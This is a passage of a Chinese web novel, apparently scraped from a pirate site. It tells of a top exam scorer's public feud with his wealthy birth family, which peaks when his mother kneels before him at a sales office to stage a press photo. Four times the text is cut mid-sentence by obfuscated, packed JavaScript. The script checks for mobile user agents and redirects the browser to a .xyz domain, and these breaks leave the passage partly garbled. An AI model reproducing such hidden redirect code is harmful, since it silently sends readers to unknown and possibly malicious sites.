其中仅清源市一家分公司的地产项目销售额就突破了4个亿,几乎占据裴氏地产全国销售总额的二分之一。而在这其中,临湖雅苑一处楼盘的销售额,又占据清源市地产分公司的四分之三。 换句话说,翁绍几乎是以一己之力,托举起裴氏地产六、七月份的销售额。致使裴氏地产在过去两个月,以鲸吞之势横扫全国楼市,直接导致裴氏集团的港股股价在月度报告发布之后不断飙升,创业板的股价更是连续涨停。 消息一经传出,立刻引起了社会各界的广泛讨论。 房地产界的同仁都在探索互联网营销,以及线上看房团模式的普及性;许多经济界的专家和学者也在探索互联网这个新兴事物,给传统行业带来的革新和变化;教育界的专家教授们更是孜孜不倦地探讨起翁绍的学习能力和实践能力究竟要归功于应试教育还是素质教育…… 为了承接这股巨大的流量,各大媒体更是接连发力—— 《高考状元兼职卖楼,两月狂揽八个亿,开启售楼新模式》 《素质教育和应试教育之争,浅谈省高考状元的创新能力和实践精神》 《高考赚钱著书,细说天才少年的成名之路》 《两个月两套房、狂赚千万状元郎》 …… 数篇报道一经问世,立刻引发了全国民众的热烈讨论。 这些年因为素质教育和应试教育之争,各大媒体还有相关机构都热衷于塑造天才。不过他们以往塑造的天才大都是学习领域,或者是文学领域的偏才。像翁绍这样通过高考成为省状元,又在高考之后两个月,凭借自己的本事狂赚上千万和两套房,甚至还通过自己的行为直接影响到一个行业的变革,乃至一个跨国集团股价的全才,这么多年下来还真是仅此一个,别无分号。 ——说他是横空出世也不为过。 再加上之前播出的《对话人生》和《在线调解》两大金牌访谈节目的流量叠加,一下子就把翁绍本人推到了风口浪尖上,连带着翁氏集团和裴氏集团都进入了全国人民的视线。 只是相比于裴氏集团的股价暴涨,在现实中已经跟翁绍站到了对立面的翁氏集团则受董事长的家丑所累,不仅在六七月份的地产项目销售额全国垫底,甚至连股价都跌到濒临停牌。堪称损失惨重。 恰在此时,裴氏集团法务团队召开新闻发布会,向参会记者宣布了一件事:他们此前代理翁绍起诉传播不实言论的新闻媒体和网络营销号,相关案件已经陆续下达判决书。被起诉的媒体和营销号均在一审中败诉。相关媒体和营销号全部决定不上诉。 也就是说,在未来半年内,曾经造谣过翁绍的不良媒体和营销号均会在报纸、杂志和互联网上公开向翁绍道歉,并给予一定赔偿。赔偿金额累计达到九万五千二百七十元。 裴氏集团法务团队在跟翁绍本人沟通过后,决定将这笔钱全部捐献给裴氏集团旗下的慈善基金会,专门用来资助被无辜网暴的网友们。希望所有被污蔑的人都能拿起法律武器保护自己的合法权益。 值得一提的是,裴氏集团法务团队在代理相关案件时,意外发现翁氏集团董事长翁英杰幼子翁绥竟然出钱雇佣网络营销号造谣翁绍,此举已经构成诽谤罪,并且给翁绍同学的精神带来了极大的损失。裴氏集团法务团队经过慎重考虑,决定起诉翁绥。 相关新闻一经报道,全国舆论都炸锅了。 一时间,翁英杰与翁绍这对父子的丑事被大家再次翻腾出来。 全国各地的媒体记者就像是闻到了血腥味的鲨鱼,再次杀向清源市临湖雅苑售楼处,想要采访翁绍,最好能做个专题报道。还有一部分记者则另辟蹊径,直接找上了翁氏集团。他们显然是想采访翁英杰和翁绥,问问他们对裴氏集团法务顾问代表翁绍起诉翁绥一事,究竟怎么看? 翁家人还能怎么看?裴氏集团召开的新闻发布会还没结束,翁英杰一家人就气得直接砸了电视机。 可即便如此,翁英杰办公桌上的电话和手机还是响个不停。 能在这个时候打电话过来的,自然都是翁氏集团的股东和合作伙伴:“你们家到底是怎么回事?亲生父子哪有隔夜仇,你就不能哄哄他,让他别再给我们添乱了行不行!” “就因为你们家那点破事,集团股价都要跌停牌了。那是你的亲生儿子,你搞不定他?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504065|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“都是一家人,一笔写不出两个翁字,难道非要闹到对峙公堂的地步?” “我真搞不懂你是怎么想的。亲生儿子那么优秀,你不帮他,反而把他推到裴家那边。他现在跟着裴家搞风搞雨,搞得我们不得安宁,对你又有什么好处?” “我不想管你们家的家事,但是这件事情不能再这么下去了。你是翁氏集团的董事长,你要为整个集团还有所有股东的利益考虑。如果你做不到,我们只能召开股东大会和董事会,向你这个董事长,还有翁缜问责。” 翁英杰满肚子怒火被股东们的问责怼在嗓子眼,一句话也崩不出来。他看着因为被起诉哭个不停的翁绥,又看了看被记者打爆电话,烦得焦头烂额的翁缜,就连很少在公众面前露面的周舒静,都被一起打牌的太太团们冷嘲热讽。 “这日子真是没法过了!”周舒静狠狠摔了电话,捂着脸哭道:“那个小畜生,他就是不想让我们好过!” * “……真是便宜翁缜和翁英杰那对狗东西了。他们两个做事太谨慎,找不到他们买通记者去考场骚扰你的直接证据。不然的话,接到传票的就应该是他们父子三人。” 同一时间,裴氏酒店总统套房内,裴行则端着两杯香槟走到沙发前,将其中一杯递给翁绍,笑吟吟道:“不过还好,我之前做空翁氏集团又赚了一大笔。军功章上有你的一半功劳。这次沽空赚的钱我们两个平分。你的那一份我已经叫人打到你账上了。” 翁绍靠在沙发上,神色慵懒地摇晃着香槟酒杯:“无功不受禄。” “不要妄自菲薄。”裴行则弯下腰,与翁绍轻轻碰杯:“要是没有你,翁氏集团可不会像现在这样臭名远扬、损失惨重。我也不可能出气又赚钱。这都是你应得的。” “我说过,我会成为你手中最犀利的一把枪。”翁绍微微一笑,仰头看着裴行则。他言笑晏晏,眉目缱绻,眼角眉梢都透着伪装好的温顺柔和:“你出手对付翁家,又何尝不是帮我出头。如果没有你,单凭我一个人也奈何不了翁英杰一家。” “你能找到我、说服我,就证明我也是你自身能力的一部分。”裴行则说到这里,忽然侧身坐到了翁绍旁边,他的手臂顺势搭在沙发靠背上。乍一看,就像是把翁绍搂在了怀里。 “别跟我见外好不好?”裴行则柔声轻哄道:“我说过,我不会亏待你。” 37.第 37 章 裴行则说不亏待翁绍,确实说到做到。 他第一次做空翁氏集团时赚了九千多万,给翁绍发了一百万的奖金。第二次沽空翁氏集团时赚了一亿三千万,说要跟翁绍平分,果然叫人打了六千五百万到翁绍的账户上。 翁绍自嘲的想,倘若能按照“男人爱在哪里钱就在哪里”的理论来衡量裴行则的所作所为就好了。他就可以毫无顾忌的自欺欺人,认为裴行则对他的爱已经有六千六百万加两套房子那么多。 他本就是一个庸俗的人,他喜欢被数字和物质精确量化的感情。 但裴行则不是。他给他钱,只是因为他认为他值得这么多。 这份“值得”包括对下属的激励,对狼狈为奸的合作伙伴的拉拢,或许还有一部分对情人的宠爱。他们的关系掺杂着太多利益,放在天平上称来算去,连翁绍自己都算不清楚,留给爱情的那一份,究竟还剩多少。 在收到“分赃”巨款的第二天,翁绍还做了一件事——他将裴氏集团慈善教育基金会捐助给他的五千块还了回去,避免占用宝贵的资助名额。又以自己的名义向母校市一中捐献了十万块——那是《状元笔记》的第一版版税。 翁绍当初出版《状元笔记》,完全是为了邀名。如今他已经不缺钱了,自然要将《状元笔记》的利益最大化。 十万块钱于他而言,并不算多。可要是把这十万块的版税捐出去,既可以表明自己穷苦出身但不忘本的立场,让所有人看清他“穷则独善其身,达则兼济天下”的真面目,让更多读不起书的贫困学子们有机会上大学,改变自己的命运;又能不着痕迹地提醒一众吃瓜看客们,当初翁英杰一家人用下作手段造他的谣,差点毁掉的是一个多么积极向上,又善良进取的好学生。 翁绍做这些事情的时候,甚至都没有刻意宣扬。还是出版社的王主编在再版《状元笔记》的时候,无意间跟记者提到了这件事。 她在采访中盛赞翁绍是个重情重义的好孩子:“我跟翁绍的班主任是老相识了。陈老师教书育人三十多年,为国家培养出无数优秀人才。她当初把翁绍和《状元笔记》推荐给我的时候,也说过翁绍是个十分优秀的学生,只可惜家庭不好,差点耽误了他。” 记者心领神会,自然知道王主编说的家庭不好,具体是指什么。 说实话,翁家这些家事一经爆料,连他们这些见多识广的媒体记者都觉得大开眼界。他们不是没见过家庭不睦,也不是没见过偏心的父母,可像翁家这样明明不缺钱,还能为了一点小事,把事情做得这么绝,不惜毁人前途,甚至闹到法庭上的豪门,他们以前还真没见过。 不过越是骇人听闻的豪门内幕,越能激发读者们的窥探欲。报纸的销量就会越好。哪怕是为了绩效奖金,记者也要仗义执言。 于是在出版社宣布再版《状元笔记》的采访过后,一篇名为《高考状元向母校捐献十万元版税,苦难成就天才》的报道横空出世。 在这篇报道中,记者用详细的篇幅介绍了《状元笔记》一经上市的火爆程度——该书发行不到三个月,销量已经突破二十万套。 这其中有十五万套的销量,来源于裴行则,以及裴总狐朋狗友们的友情支持。剩下五万套的销量,全部来源于全国各大书店。 记者在报道中,用颇为自豪的笔触写道:“截止到八月中旬,这套由翁绍撰写的教学辅导书已经销售一空。却还是有许多学生,以及学生家长打电话到出版社,要求出版社继续出版《状元笔记》。之所以会出现这样一书难求的局面,一方面是因为翁绍的‘名人效应’,许多同龄者已经把翁绍视为他们的偶像。另一方面,清源市一中本届高考成绩也充分验证了这套辅导书的作用……” “……笔者得知,翁绍已将《状元笔记》第一版共计十万块的版税捐献给母校清源市一中。如果不是出版社的王主编在采访时无意间透露出这件事,我们根本不会知道,一个在高考前还身无分文,为学费发愁的少年,竟然会选择将这么一笔巨款捐献给母校,只希望能有更多贫困家庭的学生可以毫无后顾之忧的读书。” “少年的心思纯粹通透,简直如金子般闪闪发光。可就是这样一个品学兼优的学生,却在几个月前饱受谣言之苦,差点身败名裂。” “我们不禁要反思,究竟是什么造成了这位天才少年的苦难……” “放屁——” 翁英杰将手上的报纸团成一团,狠狠扔进垃圾桶:“这群唯恐天下不乱的记者,只会在报纸上妖言惑众、危言耸听。他们一定是收了裴行则的钱,专门写这些东西污蔑翁家!” 翁英杰说到这里,忍不住瞪了翁绥一眼:“要不是你做事不谨慎,被人家揪住尾巴,那些记者也不敢——” “行了!”周舒静打断翁英杰的话:“事情都已经出了,你还埋怨他有什么用?当务之急,是要想办法让那个小畜生撤诉!” “你说得轻巧。”翁英杰怒瞪老婆,没好气地说道:“那个小畜生摆明了跟裴行则沆瀣一气,要看我们的笑话。他怎么可能会撤诉?” 周舒静冷笑一声:“他不想撤诉,那就逼得他不得不撤诉。” * 临湖雅苑售楼处 自从翁绍一夜爆火,临湖雅苑也是水涨船高,销售情况异常火爆。 即便是下班以后,仍旧有许多客户来到售楼处看房。销售部门的同事忙得不可开交,加班已成常态。 作为线上看房团的发起者,以及一名月底就要离职的置业顾问,翁绍如今的工作已经不局限在一线销售这一块了。 售楼处经理看出了翁绍在开拓市场、统筹规划方面的天赋和能力,也看出了翁绍不甘心只作一名置业顾问,思前想后,决定把给客户建档这个工作交给翁绍。他的本意是想锻炼一下翁绍的能力。毕竟翁绍报考了金融系,如果能学会给客户建档,对他今后的学习和工作都有帮助。 “至于佣金这方面你大可放心,只要是冲你来的客户,不管他什么时候签单交钱,我都会把提成算给你。” 售楼处经理的意思也很明白。买房是人生大事,绝大多数客户都不可能在看完一套房之后就马上成交。少说也要货比三家。 一套房子从看房到成交,磨上三五个月是常有的事,但是翁绍不可能在临湖雅苑继续干三五个月。所以售楼处经理信誓旦旦的跟翁绍担保,只要有他在,翁绍的提成就不会有问题。 售楼处经理之所以敢打这个保票,一来是想让翁绍在临走之前,不遗余力地组织看房团过来看房,二来也是想要结交翁绍。 要知道分钱也是一种联系,更是一种态度。以翁绍的本事和学历,此去京海大概率就是一飞冲天了。他们要是能在翁绍微末之时结交到这样的人物,那简直就是烧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512041|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了八辈子高香。没人会为了几百万的提成,跟翁绍过不去。大家都是聪明人,哪怕是冲着翁绍跟集团大老板裴行则的关系,他们也不会只看眼前利益,只做一锤子买卖。 更何况通过看房团来看房的,本来也是人家翁绍的客户。他们只是帮忙签单,赚自己该赚的,就能交好翁绍,何乐而不为呢? 对于售楼处经理和其他同事们的小心思,翁绍心照不宣,但他并不排斥。 出门在外,谁还没点儿自己的小心思小算盘,只要不伤害到翁绍的利益,翁绍乐得合作互赢。于是翁绍便将接待看房团的工作托付给售楼处其他同事,开始为客户建档。 这是一项繁琐且枯燥的工作,但是翁绍适应良好,甚至颇为珍惜这个机会——要知道,并不是所有人都有机会接触一家跨国集团的客户档案。如今翁绍负责给临湖雅苑的客户建档,售楼处经理给了他内部权限,翁绍便有机会接触裴氏地产的所有客户档案。 * 这天上午,来看房的客户络绎不绝。 一辆黑色迈巴赫缓缓停在售楼处门口。 翁氏集团董事长夫人周舒静在保镖们的簇拥下走进售楼大厅。售楼处经理第一时间反应过来,热情洋溢地迎了上去:“翁夫人——” 话没说完,就被周舒静打断了:“翁绍呢?” 她摘下墨镜,灼灼目光一一扫过大厅内熙熙攘攘的人群,却没看到翁绍的身影。 售楼处经理心里咯噔一下,面上却不露声色地笑道:“他今天没来——” “你不要糊弄我,我的人看到他进来了。”周舒静毫不客气地打断售楼处经理。明明习惯了盛气凌人,却偏要摆出一副被人欺负的样子委屈道:“你们裴氏地产的员工真是奇怪。我这个当妈的想要看看自己的亲生儿子,你这个外人干什么推三阻四的不让我跟我儿子见面?” 话里话外,都在暗示售楼处经理作为裴氏集团的一员,故意挑拨她们亲生母子的关系。 售楼处经理摇头苦笑,正要开口,就听身后有人说道:“可能是见你来者不善,怕你又来欺负我吧。” 众人循声望去,只见一名身材颀长的英俊青年从二楼缓缓走下来。剪裁合体的西装将他的身形衬托得愈发风流匀称,修长的双腿迈下一级级台阶,稳稳当当走到周舒静面前。 周舒静二话不说,直接跪在翁绍面前,悲声哭泣道:“我知道我生而不养,我对不起你。可你能不能看在我生你一场的情分上,放过你一母同胞的亲弟弟?他还小,他不懂事,你有什么怨恨直接冲我来,能不能放他一马?” 翁绍笑了。顶着售楼处大厅内的灼灼目光和窃窃私语,他缓缓蹲在周舒静的面前,心平气和道:“您瞧,我们经理没担心错吧?您确实来者不善。” 周舒静双目猩红地看着翁绍:“我没想做什么,我只是希望你能放过阿绥,你们毕竟是亲兄弟啊!” 翁绍笑得更愉快了:“翁缜和翁绥收买记者和营销号污蔑我的时候,你有没有跪在他们面前,跟他们说我们是亲兄弟,求他们放我一马呢?” “我当然有——” “可他们还是做了。”翁绍十分惋惜地帮助周舒静整了整衣领:“看来你的膝盖在你亲生亲养的儿子面前并不管用。那你凭什么觉得,我这个生而不养的儿子,会接受你的道德绑架?” 周舒静脸色一变。 38.第 38 章 周舒静目光阴森地看着翁绍。 翁绍说得没错,她特地选在客流量最多的时候跑来售楼处当众下跪,就是想要通过舆论逼迫翁绍撤诉。她也想过翁绍如果坚持不撤诉,她该怎么做——自然是要发动媒体谴责翁绍唯利是图、六亲不认,宁愿跟仇家混在一起,也不愿意跟自己的亲人握手言和。 周舒静甚至还让记者混迹在人群中,拍下了她向翁绍下跪的照片。不管翁绍答不答应她的请求,她都会把这张照片刊登到各大报纸杂志的头版头条。 周舒静深知,国内的道德风向一直都倾向于“天下无不是的父母”。翁绍居然逼得亲生母亲给他下跪认错,不管内情如何,只要这张照片发出去,必然会有人谴责翁绍大逆不道咄咄逼人。届时人们的目光就会聚集在翁绍的身上。翁氏集团还有翁绥承受的舆论压力就会小很多。 这是周舒静想到的,可以对付翁绍的必杀技。然而让周舒静没有想到的是,翁绍的反应竟然比她预料中的还要刻薄。 “有时候我真的很好奇,我究竟是不是你和翁英杰亲生的。”看着周舒静不断变幻的脸色,翁绍慢条斯理地笑了笑:“当初我被人网暴,被记者堵在考场围剿,被人指着鼻子骂的时候,你在哪里?你为什么不肯站出来维护我?现在却能为了翁绥,在这么多人面前给我下跪。” 周舒静急忙解释道:“我有维护你的,我真的有。我当初就劝过你爸爸,让他们不要跟你计较。可是你爸觉得你性子太桀骜了,想要磨一磨你的性子。你当初在老家流水宴上骂的那么难听,你爸爸他们也是咽不下这口气,想给你一个教训。可是我发誓,我们真的没想毁掉你,我们也是爱你的——” “没想毁掉我。”翁绍饶有兴致地重复周舒静的话:“那你知不知道长辈给晚辈下跪,晚辈是要折寿的?” 周舒静语噎,还没等她想好怎么说,就听翁绍继续道:“你当然知道,你就是故意跑来折我的寿,把我架在火上烤。” 翁绍说到这里,缓缓站起身,环视周围看热闹的人群——他一眼就认出了隐匿在人群中,偷偷拍照的记者。 翁绍给售楼处经理使了个眼色。售楼处经理一招手,立刻就有两名安保人员架着记者走过来。 记者满脸惊恐、奋力挣扎道:“你们要干什么?你们放开我!我是记者,我有新闻采访权!你们不能这样……” 翁绍接过记者的挎包,一眼就看到了卡在拉链口的摄像头。他低头嗤笑,取出相机在周舒静面前摇了摇:“你还找了记者拍照。” 他的语气不温不火,似乎对眼前发生的一切早已司空见惯。他的情绪甚至还没有周遭的看客激动。 周舒静的脸色却彻底黑了,她没想到翁绍的眼睛竟然这么尖。 围观看热闹的人群也是一片哗然。 翁绍将相机还给如临大敌的记者,笑吟吟问道:“她给了你多少钱?” 周舒静放在膝盖上的双手紧紧握成拳。不等记者开口,她双目赤红地看着翁绍,从牙缝里憋出几个字:“我只是不忍心看到你们兄弟阋墙、手足相残。你们都是我的儿子,手心手背都是肉。我不想看到你们兄弟反目成仇。” “我知道你心里怪我,你怨恨我们当初没有帮你,妈妈也知道错了啊!所以妈妈现在当众下跪请求你的原谅。”周舒静说着说着潸然泪下。她泪眼朦胧地仰视着站在她面前的翁绍,态度卑微地道:“你原谅妈妈好不好?” “不对,”翁绍摇摇头,一针见血道:“你不是知道错了,你是知道疼了。” 周围嗡嗡的议论声戛然而止。 翁绍冲着记者招招手:“你藏在人群后面,拍出来的照片清晰吗?要不要我让售楼处给你提供一段监控录像?” 记者哑口无言。 周舒静的脸色更是精彩得像调色板一样,根本不能看。她不知道事情为什么会发展到现在这个局面。明明应该是翁绍被千夫所指、痛骂不孝,可现在她却成了骑虎难下的那个人。 翁绍审视着周舒静的表情:“你是不是以为,你以母亲的身份向我当众下跪,哭着说几句你知道错了,就能逼我撤诉?就能在舆论层面扭转翁氏集团和翁家的形象,甚至倒逼舆论谴责我?” “你能这么想的逻辑在于,你视父母的身份高于一切。你认为子女天生是父母的所有物。所以不管你们如何伤害我,只要在事态不可控制的时候随便朝我跪一跪,就能抵消你们之前做过的恶。” “你甚至都没把法律和公序良俗当回事儿。在你的眼里,你的膝盖比既定事实更金贵。只要随便碰一碰地面,再找几个不入流的记者写几篇报道,就能颠倒黑白、扭转乾坤。你不仅把我当成傻瓜,更把世人当成傻瓜。” “你们翁家人,还真是一如既往的愚蠢、傲慢。” 翁绍说完这句话,人满为患的售楼大厅里一片寂静。所有人的目光像针扎一样落在周舒静的身上。 周舒静气得浑身颤抖。 “你别忘了,你也是翁家人!” 眼见翁绍越说越刻薄,越说越犀利,周舒静的大脑一片空白,她想反驳翁绍的话,却不知道自己该说什么。只能以手掩面,哀哀戚戚地哭诉道:“我知道你恨我,可你不该把我想的这么坏。我可是你的亲妈,我能真的害你吗?” 听到周舒静的哭诉,翁绍还没开口,一直围观的客户忍不住了:“你可别说这些没用的了。你们没害他?那是谁花钱收买营销号在网上散播谣言?又是谁买通记者在考场围堵他的?你们没害他……你们就差没把他害死了!” 周舒静语噎,旋即说道:“我都给他跪下了,你们还要我怎么样?” 眼见周舒静说不过他们,就开始胡搅蛮缠,围观的人也不吭声了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15523437|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 国情如此,当妈的都要给孩子下跪认错了,他们还能说什么! 一群人哑口无言。翁绍反倒是气定神闲地勾了勾嘴角:“你都说了,你是我亲妈,你又没害过我,干嘛要给我下跪?这不是要折我的寿?我之前还以为你跟翁英杰父子一样恨我,又干不掉我,所以想出这样的方式作法,想让老天爷打雷劈我呢!” 翁绍笑吟吟地扶起周舒静:“不过看你哭得这么伤心,我就知道我应该是错怪你了。你来给我下跪,又找记者拍照,应该不是想要害我。你肯定有你自己的理由。” 周舒静眉心一跳,还没来得及开口辩解,就听翁绍心平气和地说道:“我觉得您是关心则乱。您不想看到我们兄弟反目、手足相残,又不忍心让我受委屈,那就应该让真正害我的人给我下跪,对不对?” 翁绍说到这里,沉吟片刻:“不如这样吧,你让翁绥给我下跪道歉。大家都是亲兄弟,他给我下跪,我受得起。” 周舒静猛地抬头看向翁绍:“你说什么?” 翁绍笑吟吟道:“翁绥差点害得我前途尽毁,要是换成别人,我肯定不会这样算了。不过你是我亲妈,你说的话也有几分道理。大家都是亲兄弟,我也不忍心看到他小小年纪就要背负案底。但他做事这么没轻没重,我这个当哥哥的,总要给他一点教训,免得他仗着翁家有钱有势,将来又跑去欺负别人。您说对不对?” 周舒静脸色青一阵白一阵的。在围观群众看不到的角度,她看向翁绍的眼神带着难以克制的怨毒。 翁绍只是冲着她微微一笑,故作大度地道:“只要翁绥给我下跪,我就撤诉。” 周舒静怎么舍得让自己最偏爱的小儿子给翁绍下跪。她直勾勾地看着翁绍,一字一顿地说道:“他可是你的亲弟弟,你都知道他不懂事,就不能原谅他一次吗?” “您是不是忘了,我跟他是一天生的?”翁绍笑吟吟反问道:“他差点害得我前途尽毁,身败名裂,我只不过是让他的膝盖碰一碰地面,就愿意撤诉。他要不是我的亲弟弟,我会这么好说话吗?” “您都可以在众人面前给我下跪,他为什么不行?” “您要是这么偏心,我真的会怀疑我是不是你亲生的。”翁绍凝视着周舒静的眼睛,轻声反问:“要不,我们去做个亲子鉴定?” 周舒静悚然一惊。 售楼处经理掐准时机,笑眯眯走上前:“翁夫人,我们已经知道您的来意了。您看这样好不好,我给您找个地方,您要是还有什么话想跟翁绍说,咱们可以坐下来慢慢聊。请您先挪一步,不要影响我们售楼处正常办公好吗?” 周舒静置若罔闻,只是惊疑不定地看着翁绍。 翁绍缓缓开口:“你今天过来的目的,不就是想要让我撤诉吗?条件我已经告诉你了,你慢慢考虑。开庭之前,随时可以过来找我。” 39.入V公告 目光对视的一瞬间,就如短兵相接,激烈的火星子在虚空中迸发碰撞。本想祸水东引的人却作茧自缚,一不小心成了引火烧身。 周舒静有些后悔。她早就知道翁绍是个难缠的人,她以为她能以母亲的身份压制他。直到两人真的交手,周舒静才发现事情没有她想的那么简单。 是她低估了翁绍的口齿和心理承受能力。明明是一场被道德绑架的死局,却被翁绍另辟蹊径地解了围。不仅当场抓住了偷拍的记者,戳穿她的用意,甚至还将计就计,逼迫翁绥给他下跪道歉。 至于翁绍随口提到的“亲子鉴定”,更是听得周舒静胆战心惊。她不知道翁绍是真的知道了什么,有意试探她,还是在说气话。 可不管是哪一样,都让周舒静觉得麻烦大了。 然而事已至此,就算周舒静想要临阵退缩,只怕翁绍也不会同意。 临湖雅苑售楼处的监控视频就像是一颗不定时炸弹,周舒静不知道翁绍会在什么时间引爆炸弹,唯一的办法就是:“开个价吧。” 临湖雅苑售楼处贵宾接待室,周舒静把玩着手中的墨镜,不动声色道:“我要临湖雅苑今天的监控视频和所有备份。多少钱你开个价。” 翁绍微笑反问:“你觉得可能吗?” 周舒静深吸一口气:“翁绍,我们才是一家人。裴行则能给你的,我们照样可以给你。你为什么非要跟翁家的仇人掺和在一起,净做一些让亲者痛仇者快的事情?” “你以为裴行则是真心对你好吗?他只不过是在利用你。一旦翁家倒了,你的利用价值也就没了。可你身上流着翁家人的血,到了那个时候,你的下场只会更惨。” “只有我们才会真心帮你,只有我们才是真正的一家人。你究竟明不明白?”周舒静苦口婆心,语重心长,试图用怀柔的手段挑拨裴行则跟翁绍的关系。 只可惜这一招对翁绍并不管用。 “如果你没有别的话要说,这次见面就到此为止吧。”翁绍笑道:“相信你接下来还有很多事情要处理。” 顿了顿,翁绍意味深长地补充道:“我也是。” 眼见不论自己说什么,翁绍都无动于衷。周舒静一颗心沉了又沉。她没能说服翁绍,就只能选择先发制人。 很快,翁氏集团董事长夫人周舒静在临湖雅苑售楼处向儿子当众下跪道歉的照片,在一夜之间登上各大报纸、杂志的头版头条。 母跪子的爆炸新闻成功引发了社会各界的关注和讨论。 在记者极具煽动性的笔锋下,一个幡然悔悟的卑微母亲的形象跃然于纸上。 正如周舒静所料,在这个时代,掌握舆论主导权的那波人大多数都主张“天下无不是的父母”。因此周舒静以母跪子的报道一出,整个舆论一片哗然。 照片中,身材纤瘦的母亲神色悲悯地跪在儿子面前,低头忏悔、苦苦哀求的一幕极大地刺激着所有读者的眼球和三观。 “作为一名母亲,我无法忍受这样的事情发生。不管这位女士做过什么,她都是翁绍的亲妈。没有她就没有现在的翁绍。翁绍怎么能让亲生母亲给自己下跪呢?” “我们国家自古以来,向来推崇以孝治天下。孝顺父母是当代社会所有人的课题。然而翁绍的所作所为,却让我怀疑这个年轻人的品德。一个人,如果连自己的亲生父母都不知道感恩,他还能称之为人吗?诚然翁绍在本届高考中发挥良好,并以优异的成绩考上了京海大学。但我必须要强调一点,品德跟才华其实是两回事。一个人如果才华横溢,但是品德低下的话,他的社会危害性甚至比平庸的人更大。我们必须要深刻反思……” 周舒静成功了。她有蓄谋的惊天一跪,确实让她在报道发出的第一时间,博取了大多数人的谅解和同情。 无数读者在看到文章后都坐不住了,强烈的情绪波动促使他们立即动笔给报社和杂志社写信。在全国各地如雪花一般的读者来信中,他们无限共情身为人母的周舒静,认为翁绍无论如何都不该接受亲生母亲的跪拜和忏悔,甚至呼吁翁绍给母亲道歉。 尤其是许多教育界的专家学者和教授们,更是长篇大论、旁征博引,从国人以孝治天下的悠久传统,聊到时下充满叛逆精神的新一代。 在他们的口中,之前还品学兼优的翁绍无疑成了垮掉的一代。有才无德,冷漠无情,缺乏同理心。他们甚至认为这样的翁绍暗藏反社会人格,如果不加以纠正,将来肯定会对社会造成极大的危害。 一夜之间,翁绍口碑逆转。周舒静则成了忍辱负重的伟大母亲的代名词。连带着翁英杰父子和翁氏集团都有被洗白的倾向。发声的媒体和专家们普遍认为是翁绍的行为太极端,才会导致翁家人接连出手“教训”翁绍。他们的本意是好的,只是没有考虑到翁绍当时正处于高考前夕。 不过以翁家的家世背景,就算翁绍真的高考失利,他们也有资本支持翁绍复读或者留学。毕竟翁英杰和周舒静的大儿子翁缜当初就选在了去国外留学。学成归来以后,立即担任了翁氏集团的执行总裁。 “在父母可以兜底的情况下,即便他们真的想用一次高考成绩惩戒翁绍的所作所为,也只不过是小惩大诫。根本没有我们想象中那么严重。” 收了公关费的媒体和所谓专家们言之凿凿,很快就将翁家人赶尽杀绝的举动,美化成对翁绍的小惩大诫。 也算是让之前没见识过金元攻势的读者们真切见识了一把什么叫“有钱能使鬼推磨”。 被传票折磨了好几天的翁绥更是沾沾自喜。他并不了解翁绍跟周舒静的对峙过程,只认为他的母亲以身入局,轻易扭转了乾坤:“就算翁绍口齿伶俐又能怎么样?我们先发制人,一百张嘴难道还说不过他一张嘴?他还想让我给他下跪道歉,真是痴心妄想!” “再说我哪里做错了?我只不过是想要教训他一下,小惩大诫而已。是他自己心胸狭隘,明明做错了事情还不肯承认,还跑去跟咱们家的仇人勾勾搭搭,我说他狼心狗肺、吃里扒外,难道还说错了吗?” 翁绥愤愤不平。翁绍跟裴行则狼狈为奸,害得翁氏集团股票大跌、损失惨重,他爸爸和大哥被股东和董事们问责,这些事情他都看在眼里。他就说翁绍是个白眼狼、扫把星。要是没有翁绍,他们家怎么会这么倒霉! 如今终于有人看穿了翁绍的真面目,翁绥简直觉得大快人心。 只可惜好景不长,就在新闻媒体一面倒地抨击翁绍的第三天,一段临湖雅苑售楼处的监控视频被翁绍本人上传到了网上。 真相大白于天下。 支持翁绍的网友如雨后春笋,快速聚集在各大社交平台。他们带着相关视频铺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15523438|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍全网。力求让所有人看清楚周舒静企图用道德绑架混淆视听的险恶用心。 